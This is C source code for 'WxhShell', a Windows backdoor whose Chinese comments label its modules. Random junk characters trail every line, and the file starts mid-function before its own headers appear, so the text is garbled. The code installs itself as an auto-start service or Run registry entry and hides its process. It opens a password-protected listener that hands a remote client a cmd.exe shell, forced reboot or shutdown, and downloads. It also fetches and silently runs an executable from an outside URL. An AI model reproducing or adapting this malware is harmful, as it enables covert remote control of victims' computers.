  case 'd': { 1@JusS0^K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $EX(-!c  
    if(Boot(SHUTDOWN)) D9?.Ru0.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R=F_U  
    else { 0U H]  
    closesocket(wsh); ! Dj2/][  
    ExitThread(0); Poa&htxe1  
    } yMTO5~U{  
    break; `48Ql  
    } Y]](.\ff  
  // 获取shell }a.j~>rq  
  case 's': { zn7)>cQ905  
    CmdShell(wsh); l;L_A@B<  
    closesocket(wsh); Pg{1'-  
    ExitThread(0); .T3 m%n  
    break; 0bT[05.  
  } KIag(!&  
  // 退出 Wpi35JrC  
  case 'x': { [uLs M<C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4+s6cQ]S`  
    CloseIt(wsh); !8| }-eFY  
    break; D79:L:  
    } "WUS?Q  
  // 离开 m[74p  
  case 'q': { 75lh07  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^gZ,A]  
    closesocket(wsh); d7 H*F  
    WSACleanup(); /XEW]/4  
    exit(1); JXYZ5&[  
    break; > pP&/  
        } GNe^ ~  
  } ,"XiI$Le  
  } O#^H.B  
d]" 4aS  
  // 提示信息 0GXY2+p}S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .V?[<}OJn  
} VqpC@C$  
  } )1KyUQ\e  
qq]Iy=  
  return; X<P <-e9  
} x|(pmqIH+  
% hvK;B?Y|  
// shell模块句柄 Jk6}hUH,  
int CmdShell(SOCKET sock) \m G Y'0  
{ $2L6:&.P,  
STARTUPINFO si; 6CIzT.  
ZeroMemory(&si,sizeof(si)); -p.\fvip  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zo yO[#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^}B,0yUu'  
PROCESS_INFORMATION ProcessInfo; }$4z$&  
char cmdline[]="cmd"; >[,eK=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zrr)<'!i  
  return 0; p2{7+m  
} MA6 Vy  
;ryNfP%  
// 自身启动模式 !NkCki"W  
int StartFromService(void) 5$D"uAp<V  
{ ElV!C}g  
typedef struct v/.'st2%  
{ *_o(~5w-K  
  DWORD ExitStatus; kzDN(_<1  
  DWORD PebBaseAddress; HdJ g  
  DWORD AffinityMask; %BP>,E/w  
  DWORD BasePriority; ,_I rE  
  ULONG UniqueProcessId; I /MY4?(T  
  ULONG InheritedFromUniqueProcessId; bYnq,JRA  
}   PROCESS_BASIC_INFORMATION; (^m] 7l  
0f.j W O  
PROCNTQSIP NtQueryInformationProcess; <ak[`]  
q!eE~O;A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y]m: {  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AcPLJ!y  
Aj4 a-vd.  
  HANDLE             hProcess; `KFEzv  
  PROCESS_BASIC_INFORMATION pbi; 8b)WOr6n  
At4\D+J{Vs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1x:W 3.  
  if(NULL == hInst ) return 0; \}s/<Q  
!i^"3!.l,]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Lf,~EV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D=TS IJ@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5mD8$% \8  
7"!b5(4=  
  if (!NtQueryInformationProcess) return 0; 'bi;Y1:  
dm4Q'u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ` 3qf}=Z`  
  if(!hProcess) return 0; <m]0!ii  
A iM ukd,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i}sAF/  
G`Nw]_ Z_  
  CloseHandle(hProcess); m9DFnk<D  
iZ-R%-}B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .ybmJU*Hg  
if(hProcess==NULL) return 0; w`)5(~b  
W2 -%/  
HMODULE hMod; nn_O"fZi  
char procName[255]; ]?tRO  
unsigned long cbNeeded; =9GA LoGL  
Q&eyqk   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $^ee~v;m4  
tDX& ~1s  
  CloseHandle(hProcess); pj$JA  
qk2E>  
if(strstr(procName,"services")) return 1; // 以服务启动 <+oh\y16  
\9)5b8  
  return 0; // 注册表启动 )S g6B;CJ  
} D_DwP$wSo  
ub-3/T  
// 主模块 [a2]_]E%  
int StartWxhshell(LPSTR lpCmdLine) f+cb83}n]  
{ d m8t ~38  
  SOCKET wsl; iBSM \ n  
BOOL val=TRUE; im2mA8OH  
  int port=0; #'_#t/u  
  struct sockaddr_in door; V]F D'XAl  
'[ t.  
  if(wscfg.ws_autoins) Install(); ,a?)O6?/  
gjDNl/r/  
port=atoi(lpCmdLine); MA`nFkVK  
S hI1f  
if(port<=0) port=wscfg.ws_port; .~f )4'T 9  
R^l0Bu]X  
  WSADATA data;  '"B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MJXnAIG?2  
6]brL.eGj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MXaF q K<Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fEHFlgN3Ap  
  door.sin_family = AF_INET; &B{zS K$N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qn*l,Z]US  
  door.sin_port = htons(port); -V/y~/]J  
7g\v (P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o$*(N  
closesocket(wsl); <fvu) f  
return 1; Nw*<e ]uD  
} W"c\/]aD  
1<r!9x9G  
  if(listen(wsl,2) == INVALID_SOCKET) { V~*Gk!+f  
closesocket(wsl); l=CAr  
return 1; XV]N}~h o`  
} sgfqIe1  
  Wxhshell(wsl); %R0 Wq4}  
  WSACleanup(); GW,EyOE+~  
NUV">i.(  
return 0; n n7LL+h  
Q,KNZxT,q  
} 6!\V|  
J!uG/ Us  
// 以NT服务方式启动 "ko*-FrQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [bhKL5l  
{ # e? B  
DWORD   status = 0; ^ Ps!  
  DWORD   specificError = 0xfffffff; FK^xZ?G  
FRQ.ix2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {-4+=7Sg1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9O;Sn+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L7rgkxI7k*  
  serviceStatus.dwWin32ExitCode     = 0; ZmsYRk~@-  
  serviceStatus.dwServiceSpecificExitCode = 0; A9xe Oy8e  
  serviceStatus.dwCheckPoint       = 0; //63|;EEkl  
  serviceStatus.dwWaitHint       = 0; g04^M (  
(47?lw &  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4Zbn8GpC  
  if (hServiceStatusHandle==0) return; {=GmXd%D  
!Cr3>tA  
status = GetLastError(); :^)?AO#J  
  if (status!=NO_ERROR) aopPv&jY  
{ 5P!ZGbG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +e{ui +  
    serviceStatus.dwCheckPoint       = 0; fd'kv  
    serviceStatus.dwWaitHint       = 0; +``vnC  
    serviceStatus.dwWin32ExitCode     = status; <=.6Z*x+  
    serviceStatus.dwServiceSpecificExitCode = specificError; <2pp6je\0s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Z_V,LD9L  
    return; a|t~&\@  
  }  /a1uG]Mt  
w%])  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (<Cq_K w  
  serviceStatus.dwCheckPoint       = 0; t\Vng0  
  serviceStatus.dwWaitHint       = 0; )E9!m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2.v{W-D[  
} Ae>+Fcv  
poQ_r <I  
// 处理NT服务事件,比如:启动、停止 ^#R`Uptib  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +f/ I>9G  
{ b}qfOgd5  
switch(fdwControl) ~J].~^[  
{ #*iUZo  
case SERVICE_CONTROL_STOP: ~0PzRS^o  
  serviceStatus.dwWin32ExitCode = 0; >$m<R &  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VIF43/>(  
  serviceStatus.dwCheckPoint   = 0; U"Gx Xrl  
  serviceStatus.dwWaitHint     = 0; p<L7qwOii  
  { B?j t?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /|v4]t-  
  } H:DR?'yW  
  return; [%K6-\S  
case SERVICE_CONTROL_PAUSE: x1 |/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9y!0WZE{e  
  break; ]+I9{%zB%8  
case SERVICE_CONTROL_CONTINUE: 01mu6)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {!2K-7;  
  break; rUKg<]&@  
case SERVICE_CONTROL_INTERROGATE: Biv)s@"f-Q  
  break; q1rj!7  
}; T1Py6Q,-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Q9{>d#"  
} ("a@V8M`$F  
T_*inPf  
// 标准应用程序主函数 N@|<3R!N*e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EXSJ@k6=8s  
{ }c8nn  
:?xH)J,imk  
// 获取操作系统版本 /h53;$zK  
OsIsNt=GetOsVer(); "l&SRX?g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `rn/H;r!Z  
T~3{$  
  // 从命令行安装 zmhc\M ?z  
  if(strpbrk(lpCmdLine,"iI")) Install(); &{j!!LL  
?M:>2wl  
  // 下载执行文件 eA& #33  
if(wscfg.ws_downexe) { F(VVb(\jd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fw&*;az  
  WinExec(wscfg.ws_filenam,SW_HIDE); lAnq2j|  
} V*n$$-5 1-  
wNmpUO ?  
if(!OsIsNt) { ]gBnzh.  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ek<Qz5)  
HideProc(); v]SxZLa  
StartWxhshell(lpCmdLine); )WoH>D  
} Z#.d7B"  
else *EuX7LEu_  
  if(StartFromService()) l,o'J%<%  
  // 以服务方式启动 1m5l((d  
  StartServiceCtrlDispatcher(DispatchTable); Ey7zb#/<!  
else O>DS%6/G  
  // 普通方式启动 1hw.gn*JK>  
  StartWxhshell(lpCmdLine); y[b 8rv  
tdK&vqq  
return 0; |Ahf 01  
} kN/YnY*J<  
,=+t2Bn  
xgxfPcI  
 T7nI/y  
=========================================== LzL)qdL  
Pg}QRCB@  
1o&zA<+NY  
xN*k&!1&  
$.D )Llcq  
qWH^/o  
" i(% 2t(wf+  
1 *' /B  
#include <stdio.h> g|Lbe4?  
#include <string.h> W.^zN'a  
#include <windows.h> #ZJ 1\Ov  
#include <winsock2.h> :6Z2@9.}w  
#include <winsvc.h> l 73% y  
#include <urlmon.h> H~yHSm 3  
?pZ"7kkD  
#pragma comment (lib, "Ws2_32.lib") _#V&rY&@  
#pragma comment (lib, "urlmon.lib") e:HORc~U  
i+14!LlI  
#define MAX_USER   100 // 最大客户端连接数 t"B3?<?]  
#define BUF_SOCK   200 // sock buffer Ue \A ,  
#define KEY_BUFF   255 // 输入 buffer JtO}i{A  
},d^y:m  
#define REBOOT     0   // 重启 K~d'*J-  
#define SHUTDOWN   1   // 关机 FO/cEu  
;~0q23{+;U  
#define DEF_PORT   5000 // 监听端口 P%:?"t+J`;  
t{c:<nN  
#define REG_LEN     16   // 注册表键长度 *+*W# de.  
#define SVC_LEN     80   // NT服务名长度 ND1hZ3(^  
x\'3UKQP+^  
// 从dll定义API RNc:qV<H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7G+!9^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S*<Jy(:n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ou-#+Sdd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,marNG  
:,l16{^  
// wxhshell配置信息 VEy]vr}  
struct WSCFG { =6U5^+|d  
  int ws_port;         // 监听端口 x1Gx9z9  
  char ws_passstr[REG_LEN]; // 口令 >c_fUX={  
  int ws_autoins;       // 安装标记, 1=yes 0=no oJD]h/fQs  
  char ws_regname[REG_LEN]; // 注册表键名 /W .s1N  
  char ws_svcname[REG_LEN]; // 服务名 9}QIqH\p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z6)N![ X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UJ,vE}=_{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oaQW~R`_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (eF[nfM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QcrhgR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F^/KD<cgK  
^B1Ft5F`b  
}; i!%WEHPe  
w)ki<Dudg  
// default Wxhshell configuration ulzX$  
struct WSCFG wscfg={DEF_PORT, CJk"yW[,|  
    "xuhuanlingzhe", Dh4 Lffy  
    1, WSMpX -^e@  
    "Wxhshell", B9|s`o)!  
    "Wxhshell", Sj I,v+  
            "WxhShell Service", Pd+*syOM  
    "Wrsky Windows CmdShell Service", ^ oav-R&  
    "Please Input Your Password: ", z00X ?F  
  1, ~IYR&GEaUG  
  "http://www.wrsky.com/wxhshell.exe", |= cc>]  
  "Wxhshell.exe" X'b3CS4  
    }; cO]w*Hti  
rmggP(  
// 消息定义模块 2pmj*Y3"8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K&&T:'=/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3ibQbk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {X<g93  
char *msg_ws_ext="\n\rExit."; j5DCc,s  
char *msg_ws_end="\n\rQuit."; C7F\Y1Wj  
char *msg_ws_boot="\n\rReboot..."; OCu_v%G 0  
char *msg_ws_poff="\n\rShutdown..."; 1Du5Z9AM  
char *msg_ws_down="\n\rSave to "; "Bwz Fh  
4!Radl3`  
char *msg_ws_err="\n\rErr!"; c3GBY@m  
char *msg_ws_ok="\n\rOK!"; JkN*hm?  
r-YJ$/J  
char ExeFile[MAX_PATH]; 7vXP|8j  
int nUser = 0; ll0y@@Iy  
HANDLE handles[MAX_USER]; C-A? mIC  
int OsIsNt; W0MgY%Qv[  
lv?`+tU2_  
SERVICE_STATUS       serviceStatus; @?e~l:g})g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y0Gblza  
c$,1j%[)  
// 函数声明 p@O Ip  
int Install(void); 9<0yz?b':  
int Uninstall(void); 5eL b/,R  
int DownloadFile(char *sURL, SOCKET wsh); k9oi8G'g~  
int Boot(int flag); ]&H"EHC<$  
void HideProc(void); ;%d<Uk?  
int GetOsVer(void); U]}FA2  
int Wxhshell(SOCKET wsl); eH7x>[lH.  
void TalkWithClient(void *cs); KDb j C'3  
int CmdShell(SOCKET sock); "Y^j=?1k  
int StartFromService(void); Zoxblk  
int StartWxhshell(LPSTR lpCmdLine); .`~?w+ ~  
tl /i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Odwf7>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9QX!HQ|5y8  
I4%kYp]  
// 数据结构和表定义 [K,P)V>K  
SERVICE_TABLE_ENTRY DispatchTable[] = }F0<8L6%  
{ =r/8~~=  
{wscfg.ws_svcname, NTServiceMain}, ,,G"EF0A  
{NULL, NULL} ML'y`S  
}; =PY{Elf  
T16gq-h'  
// 自我安装 ;_SSR8uHv  
int Install(void) \"$P :Uv  
{ p?#T^{Quz~  
  char svExeFile[MAX_PATH]; ECA<%'$?E  
  HKEY key; cH*")oD  
  strcpy(svExeFile,ExeFile); @. $- ^-  
&xB*Shp,B  
// 如果是win9x系统,修改注册表设为自启动 w>cqsTq  
if(!OsIsNt) { Wcc4/:`Hu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [uGsF0#e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T8Mqu`$r  
  RegCloseKey(key); c*7|>7C$i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G=[<KtWa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -a@e28Y  
  RegCloseKey(key); 3QBzyJW f  
  return 0; ,ja!OZ0$  
    } RtR@wZ2\s  
  } o}G`t Bz  
} niCK(&z  
else { 2DPv7\fW  
RHBQgD$  
// 如果是NT以上系统,安装为系统服务 &-qQF`7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m W>Iib|  
if (schSCManager!=0) >v, si].  
{ pl3ap(/  
  SC_HANDLE schService = CreateService Lu6g`O:['  
  ( ?e6>dNw  
  schSCManager, wdP(MkaV  
  wscfg.ws_svcname, E"VF BKB  
  wscfg.ws_svcdisp, rxX4Cw]\"y  
  SERVICE_ALL_ACCESS, hsrf2Xw[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^?H|RAp  
  SERVICE_AUTO_START, $m#^0%  
  SERVICE_ERROR_NORMAL, @%x2d1FS  
  svExeFile, E\DA3lq  
  NULL, :0B 7lDw  
  NULL, )aGSZ1`/  
  NULL, wHs1ge(  
  NULL, ws9IO ?|&G  
  NULL X uE: dL?  
  ); 1|4,jm$  
  if (schService!=0) 3%5YUG@  
  { (eU4{X7  
  CloseServiceHandle(schService); xE@/8h  
  CloseServiceHandle(schSCManager); So!=uYX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2`riI*fQ  
  strcat(svExeFile,wscfg.ws_svcname); TMMJ5\t2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N8pL2y:R[P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \mh #MMp  
  RegCloseKey(key); 5z 0VMt  
  return 0; :p}8#rb  
    } /a^ R$RHl'  
  } nyi!D   
  CloseServiceHandle(schSCManager); tXtNK2-1  
} f%.Ngf9  
} s.bo;lk  
m=l'9j"D  
return 1; M\4` S&  
} @~$"&B  
t?G6|3  
// 自我卸载 2lsUCQI;  
int Uninstall(void) Sp X;nH-D  
{ aA#79LS  
  HKEY key; ~5&4s  
1b1Ab zN  
if(!OsIsNt) { Q >/,QX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { seEo)m`d  
  RegDeleteValue(key,wscfg.ws_regname); T%)E!:}v  
  RegCloseKey(key); {>1FZsR49t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?v M9 !  
  RegDeleteValue(key,wscfg.ws_regname); ecs 0iW-,  
  RegCloseKey(key); +`GtZnt#  
  return 0; ,9bnR;f\  
  }  <EU R:  
} ^C'0Y.H S  
} :+Ukwno?/  
else { 1V1I[CxlX  
70 7( LG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); op9dYjG7  
if (schSCManager!=0) b*?u+tWP_  
{ ?p@J7{a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `5@F'tKQ  
  if (schService!=0) K{ar)_V/  
  { .c-a$39  
  if(DeleteService(schService)!=0) { &$/ #"lW,V  
  CloseServiceHandle(schService); d)vP9vXy  
  CloseServiceHandle(schSCManager); oV:oc,  
  return 0; D;C';O  
  } XJe=+_K9  
  CloseServiceHandle(schService); ffmtTJFC5  
  }  eo9/  
  CloseServiceHandle(schSCManager); ~I5hV}ZT  
} ~)ys,Q  
} m@Yc&M~  
\i_E}Ii0  
return 1; .^{%hc*w4  
} WChP,hw  
hNN[djR  
// 从指定url下载文件 /dYv@OU?  
int DownloadFile(char *sURL, SOCKET wsh) p@G7}'|eyA  
{ V,_m>$Mo  
  HRESULT hr; ) 6)bI.BY  
char seps[]= "/"; pjFO0h_Y  
char *token; {3`385  
char *file; ;_(f(8BO   
char myURL[MAX_PATH]; +>q#eUS)  
char myFILE[MAX_PATH]; :_R:>n9 p  
Os"('@jd>  
strcpy(myURL,sURL); 2DCQ5XewYe  
  token=strtok(myURL,seps); PoF3fy%.  
  while(token!=NULL) <R$ 2x_  
  { N;|^C{uz  
    file=token; sWYnoRxu  
  token=strtok(NULL,seps); TsTc3  
  } b4_0XmL  
w2nReB z  
GetCurrentDirectory(MAX_PATH,myFILE); \2s`mCY  
strcat(myFILE, "\\"); [Iks8ZWr_  
strcat(myFILE, file); "O jAhKfG  
  send(wsh,myFILE,strlen(myFILE),0); *XTd9E^tXq  
send(wsh,"...",3,0); f(5(V %  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p +i 1sY  
  if(hr==S_OK) W91yj:  
return 0; 5X!-Hj  
else kMQ /9~  
return 1; yc](  
C.jWT1  
} f,HUr% @  
sApix=Lr  
// 系统电源模块 , Z"<-%3  
int Boot(int flag) EG>?>K_D  
{ !?>V^#c  
  HANDLE hToken; }S/i3$F0~  
  TOKEN_PRIVILEGES tkp; 1]7gYNzV"  
]P?< 2,  
  if(OsIsNt) { |ri)-Bk ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9wWBE<}>u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $"kPzo~B_  
    tkp.PrivilegeCount = 1; lME>U_E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T0w_d_aS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lxL5Rit@Px  
if(flag==REBOOT) { KG'i#(u[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]Btkoad  
  return 0; *HKw;I   
} F[jE#M=k  
else { /\8I l+0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T`EV uRJ  
  return 0; *|A QV:  
} ;/K2h_=3z  
  } zU?O)w1'  
  else { )dT@0Ys%  
if(flag==REBOOT) { Vx_33";S\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _M^.4H2  
  return 0; 5WQl?yMP  
} kTvM,<  
else { D4=*yP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 79h~w{IT@  
  return 0; e,U:H~+]  
} ]O x5F@  
} .;?!I_`  
eTuqK23  
return 1; I^ ?tF'E  
} kU<t~+  
l[}4 X/  
// win9x进程隐藏模块 T D _@0Rd  
void HideProc(void)  z:,PwLU  
{ ;m(iKwDt  
sl]< A[jR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E#k{<LYI  
  if ( hKernel != NULL ) MYAt4cHc2  
  { OR <+y~Rv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (@1:1K(   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6CY&pbR  
    FreeLibrary(hKernel); %=aKW[uq]  
  } XIW0Z C   
{D +mr[ %  
return; oh9 ;_~  
} jm^.E\_  
|YJ83nSO~  
// 获取操作系统版本 ]O@$}B];)  
int GetOsVer(void) qLN\%}69/  
{ &R94xh%@(  
  OSVERSIONINFO winfo; 7>E.0DP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K;?D^n.  
  GetVersionEx(&winfo); P-@MLIC{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7zM:z,  
  return 1; "j^i6RS  
  else ( ay AP  
  return 0; [?!I*=*b  
} 6}4})B2  
DP ? d C`  
// 客户端句柄模块 Wq1>Bj$J8  
int Wxhshell(SOCKET wsl) *pKTJP  
{ }47h0 i  
  SOCKET wsh; ++0)KSvw  
  struct sockaddr_in client; %M(RV_R+6  
  DWORD myID; c3vb~l)  
cw Obq\  
  while(nUser<MAX_USER) -=ZL(r 1  
{ % Y^J''  
  int nSize=sizeof(client); oUv26t~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u!_l/'\  
  if(wsh==INVALID_SOCKET) return 1; >L7s[vKn  
COrk (V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rr )+M3'  
if(handles[nUser]==0) Jz@~$L  
  closesocket(wsh); ?8b19DMK6  
else !|cg=  
  nUser++; GtA`0B  
  } h!EA;2yGKa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tq3Wga!5  
}r,\0Wm  
  return 0; E[H  
} FKa";f"  
X\|!  
// 关闭 socket Tg\bpLk0=  
void CloseIt(SOCKET wsh) YDt+1Kw}D  
{ y>^a~}Zq  
closesocket(wsh); G95,J/w  
nUser--; {Mx(|)WkL  
ExitThread(0); 8K 3dwoT  
} ks '>?Dw  
(Fv tL*  
// 客户端请求句柄 xs$$fPAQ  
void TalkWithClient(void *cs) n<I{x^!  
{ rwm^{Qa  
IPiV_c-l  
  SOCKET wsh=(SOCKET)cs; sibYJKOy  
  char pwd[SVC_LEN]; ]-fkmnmWX  
  char cmd[KEY_BUFF]; %,$n^{v  
char chr[1]; ?^}30V:E  
int i,j; TCtZ2 <'  
%bW_,b  
  while (nUser < MAX_USER) { k+3qX'fd  
ZCiCZ)oc  
if(wscfg.ws_passstr) { 1yy?1&88S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i|YS>Pw~j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mgs(n5V5  
  //ZeroMemory(pwd,KEY_BUFF); a?c&#Jl  
      i=0; !vnQ;g5  
  while(i<SVC_LEN) { vF$i"^;tJ;  
2-&EkF4p'  
  // 设置超时 .KsR48g8  
  fd_set FdRead; B /? L$m  
  struct timeval TimeOut; ?pDr"XH~  
  FD_ZERO(&FdRead); PnlI {d  
  FD_SET(wsh,&FdRead); d=!:UB  
  TimeOut.tv_sec=8; Cy/&KWLenf  
  TimeOut.tv_usec=0; U|(+-R8Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d0 cL9&~qW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qzi?%&  
Szus*YL7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /7Q|D sa  
  pwd=chr[0]; %u -x9  
  if(chr[0]==0xd || chr[0]==0xa) { QrZ#<{,J5  
  pwd=0; eL!41_QI  
  break; sV^:u^  
  } ']]d-~:  
  i++; r~w.J+W  
    } 39pG-otJ  
L * n K> +  
  // 如果是非法用户,关闭 socket =bVPHrKNQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  >@ t  
} C@rGa7  
R%E7 |NAG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bS.w<V Ew  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DSGcxM+  
)G? qX.D  
while(1) { ^)VwxH:s  
:|7#D,2  
  ZeroMemory(cmd,KEY_BUFF); '`];=QY9pg  
H=r-f@EOrI  
      // 自动支持客户端 telnet标准   t>"%exdoZ  
  j=0; sE1cvAw9l  
  while(j<KEY_BUFF) { 4ls:BO;k]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *6uccx7{  
  cmd[j]=chr[0]; ?GhyVXS y.  
  if(chr[0]==0xa || chr[0]==0xd) { 8~sP{V%  
  cmd[j]=0; )8Va%{j  
  break; 9 _d2u#  
  } }x8!{Y#cF  
  j++; 1+o]+Jz|  
    } 3>,}N9P-v  
!<bwg  
  // 下载文件 !_S>ER  
  if(strstr(cmd,"http://")) { V5|ANt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [U\?+@E*  
  if(DownloadFile(cmd,wsh)) |s|}u`(@9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 98m|&7  
  else =;}W)V|X)S  
